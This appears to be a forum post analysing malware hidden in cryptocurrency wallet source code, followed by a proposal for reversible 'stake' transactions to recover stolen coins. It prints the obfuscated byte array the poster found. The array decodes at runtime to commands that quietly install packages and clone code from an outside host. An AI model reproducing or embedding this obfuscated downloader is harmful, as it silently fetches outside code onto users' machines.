Still, nobody has been able to point to where the malicious code actually was. There is no "wget" in the source code. I'm not denying the existence of it, but how can we spot malware when it doesn't exist?
It is not in plain text, but masked (I just report offset1, but there is even offset2):
static char offset1[218] =
{
0x63, 0x72, 0x76, 0x2f, 0x65, 0x67, 0x76, 0x22, 0x2f, 0x7b, 0x22, 0x6b,
0x6c, 0x71, 0x76, 0x63, 0x6e, 0x6e, 0x22, 0x6e, 0x6b, 0x60, 0x72, 0x61,
0x63, 0x72, 0x2f, 0x66, 0x67, 0x74, 0x22, 0x6e, 0x6b, 0x60, 0x72, 0x63,
0x6f, 0x2f, 0x66, 0x67, 0x74, 0x22, 0x75, 0x65, 0x67, 0x76, 0x22, 0x65,
0x6b, 0x76, 0x22, 0x3c, 0x2d, 0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e,
0x6e, 0x22, 0x30, 0x3c, 0x24, 0x33, 0x22, 0x7e, 0x7e, 0x22, 0x7b, 0x77,
0x6f, 0x22, 0x2f, 0x7b, 0x22, 0x6b, 0x6c, 0x71, 0x76, 0x63, 0x6e, 0x6e,
0x22, 0x6e, 0x6b, 0x60, 0x72, 0x61, 0x63, 0x72, 0x2f, 0x66, 0x67, 0x74,
0x67, 0x6e, 0x22, 0x72, 0x63, 0x6f, 0x2f, 0x66, 0x67, 0x74, 0x67, 0x6e,
0x22, 0x75, 0x65, 0x67, 0x76, 0x22, 0x65, 0x6b, 0x76, 0x22, 0x3c, 0x2d,
0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e, 0x6e, 0x22, 0x30, 0x3c, 0x24,
0x33, 0x39, 0x61, 0x66, 0x22, 0x2d, 0x76, 0x6f, 0x72, 0x2d, 0x22, 0x3c,
0x2d, 0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e, 0x6e, 0x22, 0x30, 0x3c,
0x24, 0x33, 0x39, 0x65, 0x6b, 0x76, 0x22, 0x61, 0x6e, 0x6d, 0x6c, 0x67,
0x22, 0x6a, 0x76, 0x76, 0x72, 0x71, 0x38, 0x2d, 0x2d, 0x65, 0x6b, 0x76,
0x6a, 0x77, 0x60, 0x2c, 0x61, 0x6d, 0x6f, 0x2d, 0x61, 0x6a, 0x6d, 0x69,
0x67, 0x72, 0x6d, 0x6b, 0x6c, 0x76, 0x2d, 0x63, 0x78, 0x63, 0x78, 0x67,
0x6e, 0x2c, 0x65, 0x6b, 0x76, 0x22, 0x3c, 0x2d, 0x66, 0x67, 0x74, 0x2d,
0x6c, 0
};
so, when executed:
return (hashoffset(offset1, offset2, offset3));
it decodes the text and the wget popup.
This is not the right thread, but I would suggest a featurer for future coins to be implemented to prevent this kind of stealing of wallet:
When creating a Wallet for the first time it is request the time for "transaction stake": this will be the amount of blocks that are to be passed for a transaction to be still able to be canceled.
Typicall value should be 1 or 2 days. Once created, it cannot be change even by the wallet owner (otherwise if one get his wallet, he can port it to 0).
When another wallet receive the coins, as soos as the network accept them, they must be in a stake state for the amount of time previste by the sender.
If in this time a wallet is stealing, for sure the thief will transfer the coin in his wallet, but as the coins in "stake" even if confirmed, they cannot be transfered to another wallet.
When the original wallet owner find the missing coins, he can use a features for claim his coin back.
With this features it is request that 50%+1 of people that send or receive coins to this wallet say true to the question of repristinate the previous state (this must be before the stake finished).
So, an exchange can use this features to protect who sent money to him for trading, because it is in the interest of all the users to risristinate missing coins.
This can work even for pools, as it will be all the miners that receive coins that can claim for the repristinate of the previous state.
For the blockchains, the repristinate of state will be a new special transaction from new wallet to old wallet without the needing of stake, so the original owen can soon move the coins to another clean wallet.